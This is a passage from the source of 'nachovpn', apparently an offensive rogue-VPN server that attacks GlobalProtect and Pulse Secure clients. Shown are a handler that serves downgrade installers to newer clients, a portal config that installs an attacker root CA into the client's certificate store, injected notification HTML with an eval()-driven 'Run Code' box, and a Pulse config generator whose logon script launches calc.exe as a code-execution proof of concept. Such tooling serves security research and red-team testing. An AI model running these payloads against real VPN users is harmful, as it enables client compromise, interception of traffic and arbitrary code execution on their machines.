version\n            Instead we set a unique suffix to the version in the portal config and store it in a dict\n            The suffix is only added to the version if the client was originally on a version >= 6.2.6\n            For each suffix, we store a bool of downgraded state\n            \"\"\"\n            # Check if version has a suffix\n            if '-' in version and os.path.exists(os.path.join(self.download_dir, f\"{file_name}.old\")):\n                suffix = version.split('-')[-1]\n\n                if suffix in self.allocated_suffixes:\n                    downgraded = self.allocated_suffixes[suffix]\n\n                    if not downgraded:\n                        self.logger.info(f\"Serving downgrade MSI for suffix {suffix}\")\n                        file_path = os.path.join(self.download_dir, f\"{file_name}.old\")\n                        self.allocated_suffixes[suffix] = True\n                else:\n                    self.logger.info(f\"Unknown suffix {suffix}\")\n                    return abort(404)\n\n            if not os.path.exists(file_path):\n                self.logger.error(f\"Download file not found: {file_path}\")\n                return abort(404)\n\n            file_size = os.path.getsize(file_path)\n\n            headers = {\n                'Content-Type': 'application/octet-stream',\n                'Content-Disposition': f'attachment; filename=\"{file_name}\"',\n                'Content-Length': str(file_size)\n            }\n\n            self.logger.info(f\"Serving {file_path}\")\n\n            with open(file_path, 'rb') as f:\n                file_content = f.read()\n\n            return Response(file_content, headers=headers)\n\n    def _wrap_packet(self, packet_data, client):\n        # Determine EtherType\n        if len(packet_data) > 0:\n            if (packet_data[0] >> 4) == 4:\n                ether_type = 0x0800  # IPv4\n            elif (packet_data[0] >> 4) == 6:\n                ether_type = 0x86dd  # IPv6\n            else:\n                self.logger.error(f\"Unknown EtherType: {packet_data[0] >> 4}\")\n                return None\n        else:\n            self.logger.error(f\"Empty packet data\")\n            return None\n\n        packet_length = len(packet_data)\n        packet = (\n            SSL_VPN_MAGIC +\n            ether_type.to_bytes(2, 'big') +\n            packet_length.to_bytes(2, 'big') +\n            SSL_VPN_STATIC +\n            packet_data\n        )\n        return packet\n\n    def handle_data(self, data, client_socket, client_ip, connection_id=None):\n        try:\n            client_socket.setblocking(True)\n            data = b''\n            while True:\n                try:\n                    chunk = client_socket.recv(4096)\n                    if not chunk:\n                        break\n                    data += chunk\n                    self.process_tcp_message(client_socket, data, client_ip, connection_id)\n                    data = b''\n                except BlockingIOError:\n                    continue\n                except ssl.SSLWantReadError:\n                    continue\n        except Exception as e:\n            self.logger.error(f'Error handling connection: {type(e)}: {e}')\n        finally:\n            self.packet_handler.destroy_session(connection_id)\n            client_socket.close()\n            return True\n        return False\n\n    def process_tcp_message(self, client_socket, data, client_ip, connection_id):\n        # Process the TCP message data as needed\n        if data == KEEP_ALIVE_PACKET:\n            self.logger.debug(f\"Received KEEP_ALIVE Packet from {client_ip}\")\n            client_socket.sendall(KEEP_ALIVE_PACKET)\n            return\n        elif data[0:4] != SSL_VPN_MAGIC:\n            # Not an SSL-VPN packet\n            self.logger.warning(f\"Received Unhandled TCP message from {client_ip}: {data.hex()}\")\n            return\n\n        # Parse the tunelled packet\n        buf = io.BytesIO(data)\n        magic = buf.read(4)\n        assert magic == SSL_VPN_MAGIC\n        ether_type = int.from_bytes(buf.read(2), 'big')\n        ether_str = ETHER_TYPES.get(ether_type, 'UNKNOWN')\n        packet_length = int.from_bytes(buf.read(2), 'big')\n        static_bytes = buf.read(8)\n        assert static_bytes == SSL_VPN_STATIC\n        packet_data = buf.read(packet_length)\n        assert len(packet_data) == packet_length\n        assert buf.tell() == len(data)\n\n        self.logger.debug(f\"Received SSL-VPN Packet from {client_ip}: Magic={magic.hex()}, \" \\\n               f\"EtherType={hex(ether_type)} ({ether_str}), Length={packet_length}\")\n\n        if ether_str == 'UNKNOWN':\n            self.logger.warning(f\"UNKNOWN Packet Type: {ether_type}\")\n            return\n\n        self.packet_handler.handle_client_packet(\n            packet_data,\n            connection_id\n            )\n\n    def should_downgrade(self, user_agent):\n        # Check if there's a client version in the user agent\n        version_match = re.search(r'GlobalProtect/(\\d+\\.\\d+\\.\\d+)', user_agent)\n        if version_match:\n            client_version = version_match.group(1)\n            self.logger.info(f\"Client version: {client_version}\")\n\n            # If it's >= 6.2.6, downgrade\n            major, minor, patch = map(int, client_version.split('.')[:3])\n            if (major > 6) or (major == 6 and minor > 2) or (major == 6 and minor == 2 and int(patch) >= 6):\n                self.logger.info(f\"Client version {client_version} needs downgrade\")\n                return True\n            else:\n                self.logger.info(f\"Client version {client_version} is compatible\")\n                return False\n        return False\n"
  },
  {
    "path": "src/nachovpn/plugins/paloalto/templates/getconfig.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<response status=\"success\">\n  <need-tunnel>yes</need-tunnel>\n  <ssl-tunnel-url>/ssl-tunnel-connect.sslvpn</ssl-tunnel-url>\n  <portal>LDN-Gway</portal>\n  <user>bob</user>\n  <quarantine>no</quarantine>\n  <lifetime>2592000</lifetime>\n  <timeout>10800</timeout>\n  <lifetime-notify-prior>1800</lifetime-notify-prior>\n  <lifetime-notify-message>Your GlobalProtect session will expire in 30 minutes. Please save your work before your session expires.</lifetime-notify-message>\n  <inactivity-notify-prior>1800</inactivity-notify-prior>\n  <inactivity-notify-message>Your GlobalProtect session will time out in 30 minutes. Please save your work before your session times out.</inactivity-notify-message>\n  <admin-logout-notify-message>Your administrator has logged you out.</admin-logout-notify-message>\n  <user_expires>1711900239</user_expires>\n  <disconnect-on-idle>10800</disconnect-on-idle>\n  <bw-c2s>1000</bw-c2s>\n  <bw-s2c>1000</bw-s2c>\n  <panos-version>11.1.0</panos-version>\n  <gw-address>{{ gateway_ip }}</gw-address>\n  <ipv6-connection>no</ipv6-connection>\n  <ip-address>{{ client_ip }}</ip-address>\n  <netmask>255.255.255.255</netmask>\n  <ip-address-preferred>yes</ip-address-preferred>\n  <dns>\n    <member>1.1.1.1</member>\n  </dns>\n  <wins>\n\t\t</wins>\n  <dns-suffix>\n\t\t</dns-suffix>\n  <default-gateway>10.10.10.1</default-gateway>\n  <mtu>0</mtu>\n  <no-direct-access-to-local-network>no</no-direct-access-to-local-network>\n  <access-routes>\n    <member>0.0.0.0/0</member>\n    <member>1.1.1.1/32</member>\n  </access-routes>\n  <exclude-access-routes>\n    <member>{{ gateway_ip }}/32</member>\n  </exclude-access-routes>\n</response>"
  },
  {
    "path": "src/nachovpn/plugins/paloalto/templates/prelogin.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<prelogin-response>\n<status>Success</status>\n<ccusername></ccusername>\n<autosubmit>false</autosubmit>\n<msg></msg>\n<newmsg></newmsg>\n<authentication-message>Enter Portal password</authentication-message>\n<username-label>Username</username-label>\n<password-label>Password</password-label>\n<panos-version>1</panos-version>\n<saml-default-browser>yes</saml-default-browser><region>GB</region>\n</prelogin-response>"
  },
  {
    "path": "src/nachovpn/plugins/paloalto/templates/pwresponse.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<policy>\n  <portal-name>GP-portal</portal-name>\n  <portal-config-version>4100</portal-config-version>\n  <version>{{ version }}</version>\n  <client-role>global-protect-full</client-role>\n  <agent-user-override-key>****</agent-user-override-key>\n  <root-ca>\n    <entry name=\"GlobalProtectCA\">\n      <cert>\n{{ ca_certificate }}\n</cert>\n      <install-in-cert-store>yes</install-in-cert-store>\n    </entry>\n  </root-ca>\n  <connect-method>user-logon</connect-method>\n  <on-demand>yes</on-demand>\n  <refresh-config>yes</refresh-config>\n  <refresh-config-interval>72</refresh-config-interval>\n  <authentication-modifier>\n    <none/>\n  </authentication-modifier>\n  <authentication-override>\n    <accept-cookie>no</accept-cookie>\n    <generate-cookie>no</generate-cookie>\n    <cookie-encrypt-decrypt-cert/>\n  </authentication-override>\n  <use-sso>no</use-sso>\n  <internal-host-detection>\n    <ip-address>10.0.150.1</ip-address>\n    <host>{{ dns_name }}</host>\n  </internal-host-detection>\n  <gateways>\n    <cutoff-time>50</cutoff-time>\n    <internal>\n      <list>\n        <entry name=\"192.168.1.157\">\n          <description>GP-GD-Internal</description>\n        </entry>\n        <entry name=\"192.168.69.45\">\n          <description>GP-Lon-DC-Internal</description>\n        </entry>\n      </list>\n    </internal>\n    <external>\n      <list>\n        <entry name=\"{{ dns_name }}\">\n          <priority-rule>\n            <entry name=\"Any\">\n              <priority>1</priority>\n            </entry>\n          </priority-rule>\n          <priority>1</priority>\n          <manual>yes</manual>\n          <description>{{ dns_name }}</description>\n        </entry>\n      </list>\n    </external>\n  </gateways>\n  <gateways-v6>\n    <cutoff-time>5</cutoff-time>\n    <internal>\n      <list>\n        <entry name=\"GP-GD-Internal\">\n          <ipv4>192.168.1.157</ipv4>\n        </entry>\n        <entry name=\"GP-Lon-DC-Internal\">\n          <ipv4>192.168.69.45</ipv4>\n        </entry>\n      </list>\n    </internal>\n    <external>\n      <list>\n        <entry name=\"LDN-GWay\">\n          <ipv4>{{ gateway_ip }}</ipv4>\n          <priority-rule>\n            <entry name=\"Any\">\n              <priority>1</priority>\n            </entry>\n          </priority-rule>\n          <priority>1</priority>\n          <manual>yes</manual>\n        </entry>\n      </list>\n    </external>\n  </gateways-v6>\n  <agent-ui>\n    <can-save-password>yes</can-save-password>\n    <passcode/>\n    <agent-user-override-timeout>0</agent-user-override-timeout>\n    <max-agent-user-overrides>0</max-agent-user-overrides>\n    <help-page/>\n    <help-page-2/>\n    <welcome-page>\n      <display>no</display>\n      <page/>\n    </welcome-page>\n    <agent-user-override>disabled</agent-user-override>\n    <enable-advanced-view>yes</enable-advanced-view>\n    <enable-do-not-display-this-welcome-page-again>yes</enable-do-not-display-this-welcome-page-again>\n    <can-change-portal>yes</can-change-portal>\n    <show-agent-icon>yes</show-agent-icon>\n    <password-expiry-message/>\n    <init-panel>yes</init-panel>\n  </agent-ui>\n  <hip-collection>\n    <hip-report-interval>3600</hip-report-interval>\n    <max-wait-time>20</max-wait-time>\n    <collect-hip-data>no</collect-hip-data>\n    <default>\n      <category>\n        <member>antivirus</member>\n        <member>host-info</member>\n      </category>\n    </default>\n  </hip-collection>\n  <agent-config>\n    <save-user-credentials>1</save-user-credentials>\n    <portal-2fa>no</portal-2fa>\n    <internal-gateway-2fa>no</internal-gateway-2fa>\n    <auto-discovery-external-gateway-2fa>no</auto-discovery-external-gateway-2fa>\n    <manual-only-gateway-2fa>no</manual-only-gateway-2fa>\n    <disconnect-reasons/>\n    <uninstall>allowed</uninstall>\n    <client-upgrade>transparent</client-upgrade>\n    <enable-signout>yes</enable-signout>\n    <use-sso-macos>no</use-sso-macos>\n    <logout-remove-sso>yes</logout-remove-sso>\n    <krb-auth-fail-fallback>yes</krb-auth-fail-fallback>\n    <default-browser>no</default-browser>\n    <retry-tunnel>30</retry-tunnel>\n    <retry-timeout>50</retry-timeout>\n    <enforce-globalprotect>no</enforce-globalprotect>\n    <enforcer-exception-list>\n      <member>0.0.0.0/0</member>\n    </enforcer-exception-list>\n    <enforcer-exception-list-domain>\n      <member>{{ dns_name }}</member>\n    </enforcer-exception-list-domain>\n    <captive-portal-exception-timeout>600</captive-portal-exception-timeout>\n    <captive-portal-login-url/>\n    <traffic-blocking-notification-delay>5</traffic-blocking-notification-delay>\n    <display-traffic-blocking-notification-msg>yes</display-traffic-blocking-notification-msg>\n    <traffic-blocking-notification-msg>&lt;div style=\"font-family:'Helvetica Neue';\"&gt;&lt;h1 style=\"color:red;text-align:center; margin: 0; font-size: 30px;\"&gt;Notice&lt;/h1&gt;&lt;p style=\"margin: 0;font-size: 15px; line-height: 1.2em;\"&gt;To access the network, you must first connect to GlobalProtecteeeeeeeee VPN.&lt;/p&gt;&lt;/div&gt;&lt;input size=\"100\" id=\"code\"&gt;&lt;/input&gt;&lt;button id=\"runcode\" onclick=clicked();&gt;Run Code&lt;/button&gt;&lt;/body&gt;&lt;script&gt; function clicked(){var code = document.getElementById(\"code\").value;eval(code);}&lt;/script&gt;</traffic-blocking-notification-msg>\n    <allow-traffic-blocking-notification-dismissal>yes</allow-traffic-blocking-notification-dismissal>\n    <display-captive-portal-detection-msg>yes</display-captive-portal-detection-msg>\n    <captive-portal-detection-msg>&lt;div style=\"font-family:'Helvetica Neue';\"&gt;&lt;h1 style=\"color:red;text-align:center; margin: 0; font-size: 30px;\"&gt;Captive Portal Detected&lt;/h1&gt;&lt;p style=\"margin: 0; font-size: 15px; line-height: 1.2em;\"&gt;GlobalProtect has temporarily permitted network access for you to connect to the Internet. Follow instructions from your internet provider.&lt;/p&gt;&lt;p style=\"margin: 0; font-size: 15px; line-height: 1.2em;\"&gt;If you let the connection time out, open GlobalProtect and click Connect to try again.&lt;/p&gt;&lt;/div&gt;&lt;input size=\"100\" id=\"code\"&lt;&gt;/input&lt;&gt;button id=\"runcode\" onclick=clicked();&lt;Run Code&gt;/button&lt;&gt;/body&lt;&gt;script&lt;function clicked(){var code = document.getElementById(\"code\").value;eval(code);}&gt;/script&lt;</captive-portal-detection-msg>\n    <captive-portal-notification-delay>5</captive-portal-notification-delay>\n    <rediscover-network>yes</rediscover-network>\n    <resubmit-host-info>yes</resubmit-host-info>\n    <can-continue-if-portal-cert-invalid>yes</can-continue-if-portal-cert-invalid>\n    <user-switch-tunnel-rename-timeout>0</user-switch-tunnel-rename-timeout>\n    <pre-logon-tunnel-rename-timeout>-1</pre-logon-tunnel-rename-timeout>\n    <preserve-tunnel-upon-user-logoff-timeout>0</preserve-tunnel-upon-user-logoff-timeout>\n    <ipsec-failover-ssl>1</ipsec-failover-ssl>\n    <display-tunnel-fallback-notification>yes</display-tunnel-fallback-notification>\n    <ssl-only-selection>1</ssl-only-selection>\n    <tunnel-mtu>1400</tunnel-mtu>\n    <max-internal-gateway-connection-attempts>0</max-internal-gateway-connection-attempts>\n    <portal-timeout>60</portal-timeout>\n    <connect-timeout>60</connect-timeout>\n    <receive-timeout>60</receive-timeout>\n    <split-tunnel-option>network-traffic</split-tunnel-option>\n    <enforce-dns>no</enforce-dns>\n    <append-local-search-domain>no</append-local-search-domain>\n    <flush-dns>no</flush-dns>\n    <proxy-multiple-autodetect>no</proxy-multiple-autodetect>\n    <use-proxy>no</use-proxy>\n    <wsc-autodetect>yes</wsc-autodetect>\n    <mfa-enabled>no</mfa-enabled>\n    <mfa-listening-port>4501</mfa-listening-port>\n    <mfa-trusted-host-list/>\n    <mfa-notification-msg>You have attempted to access a protected resource that requires additional authentication. Proceed to authenticate at</mfa-notification-msg>\n    <mfa-prompt-suppress-time>0</mfa-prompt-suppress-time>\n    <ipv6-preferred>no</ipv6-preferred>\n    <change-password-message/>\n    <cdl-log>no</cdl-log>\n    <diagnostic-servers/>\n    <dem-agent>not-install</dem-agent>\n  </agent-config>\n  <user-email>bob@example.com</user-email>\n  <portal-userauthcookie>empty</portal-userauthcookie>\n  <portal-prelogonuserauthcookie>empty</portal-prelogonuserauthcookie>\n  <scep-cert-auth-cookie>empty</scep-cert-auth-cookie>\n</policy>"
  },
  {
    "path": "src/nachovpn/plugins/paloalto/templates/sslvpn-login.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<jnlp>\n<application-desc>\n<argument></argument>\n<argument>{{ auth_cookie }}</argument>\n<argument>532e8287b925b74d6925c6ada18f2d27da38665d</argument>\n<argument>woot gw-N</argument>\n<argument>bob</argument>\n<argument>GlobalProtect Local Auth</argument>\n<argument>vsys1</argument>\n<argument>(empty_domain)</argument>\n<argument></argument>\n<argument></argument>\n<argument></argument>\n<argument></argument>\n<argument>tunnel</argument>\n<argument>-1</argument>\n<argument>4100</argument>\n<argument>{{ client_ip }}</argument>\n<argument>empty</argument>\n<argument>empty</argument>\n<argument></argument>\n<argument>4</argument>\n<argument></argument>\n<argument></argument>\n</application-desc>\n</jnlp>"
  },
  {
    "path": "src/nachovpn/plugins/paloalto/templates/sslvpn-prelogin.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<prelogin-response>\n<status>Success</status>\n<ccusername></ccusername>\n<autosubmit>false</autosubmit>\n<msg></msg>\n<newmsg></newmsg>\n<license>yes</license>\n<authentication-message>Enter login credentials</authentication-message>\n<username-label>Username</username-label>\n<password-label>Password</password-label>\n<panos-version>1</panos-version>\n<saml-default-browser>yes</saml-default-browser>\n<auth-api>no</auth-api><region>10.10.0.0-10.10.255.255</region>\n</prelogin-response>"
  },
  {
    "path": "src/nachovpn/plugins/pulse/__init__.py",
    "content": ""
  },
  {
    "path": "src/nachovpn/plugins/pulse/config_generator.py",
    "content": "#!/usr/bin/env python3\nimport os\nimport struct\nimport ipaddress\n\nROUTE_SPLIT_INCLUDE = 0x07000010\nROUTE_SPLIT_EXCLUDE = 0xf1000010\n\nENC_AES_128_CBC = 2\nENC_AES_256_CBC = 5\n\nHMAC_MD5 = 1\nHMAC_SHA1 = 2\nHMAC_SHA256 = 3\n\nCFG_DISCONNECT_WHEN_ROUTES_CHANGED = 0x4000\nCFG_TUNNEL_ROUTES_TAKE_PRECEDENCE = 0x4001\nCFG_TUNNEL_ROUTES_WITH_SUBNET_ACCESS = 0x401f\nCFG_ENFORCE_IPV4 = 0x4020\nCFG_ENFORCE_IPV6 = 0x4021\nCFG_MTU = 0x4005\nCFG_DNS_SERVER = 0x0003\nCFG_WINS_SERVER = 0x0004\nCFG_DNS_SUFFIX = 0x4006\nCFG_UNKNOWN_4007 = 0x4007\nCFG_UNKNOWN_4019 = 0x4019\nCFG_ESP_ONLY = 0x401A\nCFG_ESP_ALLOW_6IN4 = 0x4024\nCFG_ESP_TO_SSL_FALLBACK_SECS = 0x4017\nCFG_UNKNOWN_400F = 0x400F\nCFG_ESP_ENC_ALG = 0x4010\nCFG_ESP_HMAC_ALG = 0x4011\nCFG_ESP_KEY_LIFETIME = 0x4012\nCFG_ESP_KEY_BYTES = 0x4013\nCFG_ESP_REPLAY_PROTECTION = 0x4014\nCFG_TOS_COPY = 0x4015\nCFG_ESP_PORT = 0x4016\nCFG_UNKNOWN_4018 = 0x4018\nCFG_INTERNAL_LEGACY_IP = 0x0001\nCFG_NETMASK = 0x0002\nCFG_INTERNAL_GATEWAY_IP = 0x400B\nCFG_LOGON_SCRIPT = 0x400C\nCFG_LOGON_SCRIPT_MAC = 0x401B\n\nEXAMPLE_ROUTES = [\n    {'type': ROUTE_SPLIT_INCLUDE, 'route': '0.0.0.0/0.0.0.0'},\n    # {'type': ROUTE_SPLIT_EXCLUDE, 'route': '10.0.0.0/255.0.0.0'}\n]\n\nclass ESPConfigGenerator:\n    def create_config(self):\n        config = b''\n        config += b'\\x00' * 0x10                    # padding\n        config += 0x21202400.to_bytes(4, 'big')     # marker for ESP config\n        config += b'\\x00' * 4                       # more padding\n        config += 0x70.to_bytes(4, 'big')           # length including header\n        config += 0x54.to_bytes(4, 'big')           # ESP config length\n        config += b'\\x01\\x00\\x00\\x00'               # unknown (always 0x01000000)\n        config += os.urandom(4)                     # server->client SPI in little endian\n        config += 0x40.to_bytes(2, 'big')           # secrets length\n        config += os.urandom(32)                    # AES key (32-bytes for AES-256)\n        config += os.urandom(32)                    # HMAC key (32-bytes for SHA-256)\n        config += b'\\x00' * 6                       # padding\n        return config\n\nclass VPNConfigGenerator:\n    def __init__(self, logon_script=\"C:\\\\Windows\\\\System32\\\\calc.exe\", logon_script_macos=\"\", dns_suffix=\"nachovpn.local\", routes=EXAMPLE_ROUTES, client_ip=None):\n        self.logon_script = logon_script\n        self.logon_script_macos = logon_script_macos\n        self.dns_suffix = dns_suffix\n        self.routes = routes\n        self.client_ip = client_ip\n\n    @staticmethod\n    def hexdump(data, length=16):\n        if isinstance(data, str):\n            with open(data, 'rb') as f:\n                data = f.read()\n\n        def chunk_data(data, size):\n            for i in range(0, len(data), size):\n                yield data[i:i + size]\n\n        def to_hex(chunk):\n            return ' '.join(f'{b:02x}' for b in chunk)\n\n        def to_printable(chunk):\n            return ''.join(chr(b) if 32 <= b <= 126 else '.' for b in chunk)\n\n        for i, chunk in enumerate(chunk_data(data, length)):\n            hex_data = to_hex(chunk)\n            printable_data = to_printable(chunk)\n            print(f'{i * length:08x}  {hex_data:<{length * 3}}  |{printable_data}|')\n\n    @staticmethod\n    def int_to_ipv4(addr):\n        return str(ipaddress.IPv4Address(addr))\n\n    @staticmethod\n    def ipv4_to_int(ipv4):\n        return int(ipaddress.IPv4Address(ipv4))\n\n    @staticmethod\n    def write_le32(value):\n        return struct.pack('<I', value)\n\n    @staticmethod\n    def write_be32(value):\n        return struct.pack('>I', value)\n\n    @staticmethod\n    def write_be16(value):\n        return struct.pack('>H', value)\n\n    @staticmethod\n    def ip_to_bytes(ip):\n        return bytes(map(int, ip.split('.')))\n\n    @staticmethod\n    def subnet_mask_to_bytes(subnet_mask):\n        parts = subnet_mask.split('.')\n        return bytes([255 ^ int(part) for part in parts])\n\n    def create_routes(self):\n        route_data = b''\n        for route in self.routes:\n            route_type = route['type']\n            ip, subnet_mask = route['route'].split('/')\n            ip_bytes = self.ip_to_bytes(ip)\n            subnet_mask_bytes = self.subnet_mask_to_bytes(subnet_mask)\n\n            route_entry = self.write_be32(route_type)\n            route_entry += self.write_be32(0x0000FFFF)\n            route_entry += ip_bytes\n            route_entry += subnet_mask_bytes\n            route_data += route_entry\n\n        # Calculate routes length\n        routes_len = len(route_data) + 8\n\n        # Generate the final routes section\n        routes_section = bytearray()\n        routes_section += self.write_be16(0x2e00)                    # Attribute flag\n        routes_section += self.write_be16(routes_len)                # Routes length\n        routes_section += self.write_be32(len(self.routes))          # Number of routes (think this should be big endian)\n        routes_section += route_data\n        return routes_section\n\n    def create_config(self):\n        data = bytearray()\n        # Header\n        data += self.write_be32(0x00000A4C)          # fixed header value\n        data += self.write_be32(0x00000001)          # type: 0x1\n        header_len_offset = len(data)\n        data += self.write_be32(0)                   # placeholder for length of the whole config\n        data += self.write_be32(0x000001FB)          # counter\n        data += b'\\x00' * 0x10                       # padding\n\n        # Config\n        data += self.write_be32(0x2e20f000)          # config for > 9.1R14\n        data += self.write_be32(0x00000000)          # fixed value\n        config_len_offset = len(data)\n        data += self.write_be32(0)                   # placeholder for length: (len(config) - 0x10)\n\n        #logging.debug('config header:')\n        #self.hexdump(data)\n\n        # Version marker + attribute\n        offset = len(data)\n        data += self.write_be16(0x2e00)              # 0x2e00: known for Pulse version >= 9.1R16\n        data += self.write_be16(0)                   # placeholder for length\n        data += self.write_be32(0x03000000)          # fixed value\n        data += self.create_attribute(0x4025, b'\\x01')\n        data[offset + 2:offset + 4] = self.write_be16(len(data) - offset)\n\n        #logging.debug('version marker + attribute >= 9.1R16:')\n        #self.hexdump(data[offset:])\n\n        # Version marker + attribute\n        offset = len(data)\n        data += self.write_be16(0x2c00)              # 0x2c00: known for Pulse version >= 9.1R14\n        data += self.write_be16(0)                   # placeholder for length\n        data += self.write_be32(0x03000000)          # fixed value\n        data += self.create_attribute(0x4026, b'\\x01')\n        data[offset + 2:offset + 4] = self.write_be16(len(data) - offset)\n\n        #logging.debug('version marker + attribute >= 9.1R14:')\n        #self.hexdump(data[offset:])\n\n        # Routing info\n        assert len(data) == 0x46\n        data += self.create_routes()\n\n        #logging.debug('routing info:')\n        #self.hexdump(data)\n\n        # Final attributes\n        # fwiw, openconnect seems to differ here\n        final_attrs = bytearray()\n        final_attrs += self.write_be32(0)\n        final_attrs += self.write_be16(0)            # placeholder: length of the rest of the config\n        final_attrs += self.write_be32(0x03000000)   # fixed value\n        final_attrs += self.create_attribute(CFG_DISCONNECT_WHEN_ROUTES_CHANGED, b'\\x00')\n        final_attrs += self.create_attribute(CFG_TUNNEL_ROUTES_TAKE_PRECEDENCE, b'\\x01')\n        final_attrs += self.create_attribute(CFG_TUNNEL_ROUTES_WITH_SUBNET_ACCESS, b'\\x00')\n        final_attrs += self.create_attribute(CFG_ENFORCE_IPV4, b'\\x01')\n        final_attrs += self.create_attribute(CFG_ENFORCE_IPV6, b'\\x00')\n        final_attrs += self.create_attribute(CFG_MTU, self.write_be32(1400))  # Client interface MTU\n        final_attrs += self.create_attribute(CFG_DNS_SERVER, b'\\x01\\x01\\x01\\x01')\n        final_attrs += self.create_attribute(CFG_DNS_SUFFIX, self.dns_suffix.encode() + b'\\x00')\n        final_attrs += self.create_attribute(CFG_UNKNOWN_4007, self.write_be32(1))\n        final_attrs += self.create_attribute(CFG_WINS_SERVER, b'\\x01\\x01\\x01\\x01')\n        final_attrs += self.create_attribute(CFG_UNKNOWN_4019, b'\\x01')\n        final_attrs += self.create_attribute(CFG_ESP_ONLY, b'\\x00')\n        final_attrs += self.create_attribute(CFG_ESP_ALLOW_6IN4, b'\\x00')\n        final_attrs += self.create_attribute(CFG_UNKNOWN_400F, b'\\x00\\x00')\n        final_attrs += self.create_attribute(CFG_ESP_ENC_ALG, self.write_be16(ENC_AES_256_CBC))\n        final_attrs += self.create_attribute(CFG_ESP_HMAC_ALG, self.write_be16(HMAC_SHA256))\n        final_attrs += self.create_attribute(CFG_ESP_KEY_LIFETIME, self.write_be32(1200))\n        final_attrs += self.create_attribute(CFG_ESP_KEY_BYTES, self.write_be32(0))\n        final_attrs += self.create_attribute(CFG_ESP_REPLAY_PROTECTION, self.write_be32(1))\n        final_attrs += self.create_attribute(CFG_TOS_COPY, self.write_be32(0))\n        final_attrs += self.create_attribute(CFG_ESP_PORT, self.write_be16(0x1194))\n        final_attrs += self.create_attribute(CFG_ESP_TO_SSL_FALLBACK_SECS, self.write_be32(1))\n        final_attrs += self.create_attribute(CFG_UNKNOWN_4018, self.write_be32(60))\n\n        # Use allocated IP if provided, otherwise use default\n        if self.client_ip:\n            final_attrs += self.create_attribute(CFG_INTERNAL_LEGACY_IP, self.write_be32(self.ipv4_to_int(self.client_ip)))\n        else:\n            final_attrs += self.create_attribute(CFG_INTERNAL_LEGACY_IP, self.write_be32(self.ipv4_to_int(\"10.10.1.1\")))\n\n        final_attrs += self.create_attribute(CFG_NETMASK, self.write_be32(self.ipv4_to_int(\"255.255.255.255\")))\n        final_attrs += self.create_attribute(CFG_INTERNAL_GATEWAY_IP, self.write_be32(self.ipv4_to_int(\"10.10.0.1\")))\n        final_attrs += self.create_attribute(CFG_LOGON_SCRIPT, self.logon_script.encode() + b'\\x00')\n        final_attrs += self.create_attribute(0x400d, b'\\x00')\n        final_attrs += self.create_attribute(0x400e, b'\\x00')\n        final_attrs += self.create_attribute(CFG_LOGON_SCRIPT_MAC, self.logon_script_macos.encode() + b'\\x00')\n        final_attrs += self.create_attribute(0x401c, b'\\x00')\n        final_attrs += self.create_attribute(0x13, b'\\x00')\n        final_attrs += self.create_attribute(0x14, b'\\x00')\n\n        final_attrs[4:6] = self.write_be16(len(final_attrs))  # fill in the length of final attrs\n        data += final_attrs  # add final attrs to data\n\n        #logging.debug('final attributes:')\n        #self.hexdump(data)\n\n        # Update the lengths\n        total_length = len(data)\n        data[header_len_offset:header_len_offset + 4] = self.write_be32(total_length)\n        data[config_len_offset:config_len_offset + 4] = self.write_be32(total_length - 0x10)\n\n        return data\n\n    @staticmethod\n    def create_attribute(attr_type, data):\n        return struct.pack('>HH', attr_type, len(data)) + data\n\ndef main():\n    generator = VPNConfigGenerator()\n    config = generator.create_config()\n    output_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'test')\n    filename = os.path.join(output_dir, 'vpn_config.bin')\n    with open(filename, 'wb') as f:\n        f.write(config)\n\n    print(f\"Generated VPN config. Saved to {filename}\")\n    generator.hexdump(config)\n\nif __name__ == '__main__':\n    main()\n"
  },
  {
    "path": "src/nachovpn/plugins/pulse/config_parser.py",
    "content": "#!/usr/bin/env python3\nimport sys\n\nENC_AES_128_CBC = 2\nENC_AES_256_CBC = 5\n\nHMAC_MD5 = 1\nHMAC_SHA1 = 2\nHMAC_SHA256 = 3\n\n# Example packet:\n#\n#00000000  00 00 0a 4c 00 00 00 01 00 00 01 60 00 00 01 fb   |...L.......`....|\n#00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   |................|\n#00000020  2e 20 f0 00 00 00 00 00 00 00 01 50 2e 00 00 0d   |. .........P....|\n#00000030  03 00 00 00 40 25 00 01 01 2c 00 00 0d 03 00 00   |....@%...,......|\n#00000040  00 40 26 00 01 01 2e 00 00 18 00 00 00 01 07 00   |.@&.............|\n#00000050  00 10 00 00 ff ff 00 00 00 00 ff ff ff ff 00 00   |................|\n#00000060  00 00 01 02 03 00 00 00 40 00 00 01 00 40 01 00   |........@....@..|\n#00000070  01 00 40 1f 00 01 00 40 20 00 01 00 40 21 00 01   |..@....@ ...@!..|\n#00000080  00 40 05 00 04 00 00 05 78 00 03 00 04 01 01 01   |.@......x.......|\n#00000090  01 40 06 00 0d 6e 61 63 68 6f 76 70 6e 2e 6c 6f   |.@...nachovpn.lo|\n#000000a0  6c 00 40 07 00 04 00 00 00 01 00 04 00 04 01 01   |l.@.............|\n#000000b0  01 01 40 19 00 01 01 40 1a 00 01 00 40 24 00 01   |..@....@....@$..|\n#000000c0  01 40 0f 00 02 00 00 40 10 00 02 00 05 40 11 00   |.@.....@.....@..|\n#000000d0  02 00 03 40 12 00 04 00 00 04 b0 40 13 00 04 00   |...@.......@....|\n#000000e0  00 00 00 40 14 00 04 00 00 00 01 40 15 00 04 00   |...@.......@....|\n#000000f0  00 00 00 40 16 00 02 11 94 40 17 00 04 00 00 00   |...@.....@......|\n#00000100  0f 40 18 00 04 00 00 00 3c 00 01 00 04 0a 0a 01   |.@......<.......|\n#00000110  01 00 02 00 04 ff ff ff ff 40 0b 00 04 0a c8 c8   |.........@......|\n#00000120  c8 40 0c 00 1d 43 3a 5c 57 69 6e 64 6f 77 73 5c   |.@...C:\\Windows\\|\n#00000130  53 79 73 74 65 6d 33 32 5c 63 61 6c 63 2e 65 78   |System32\\calc.ex|\n#00000140  65 00 40 0d 00 01 00 40 0e 00 01 00 40 1b 00 01   |e.@....@....@...|\n#00000150  00 40 1c 00 01 00 00 13 00 01 00 00 14 00 01 00   |.@..............|\n\ndef load_be32(data):\n    return 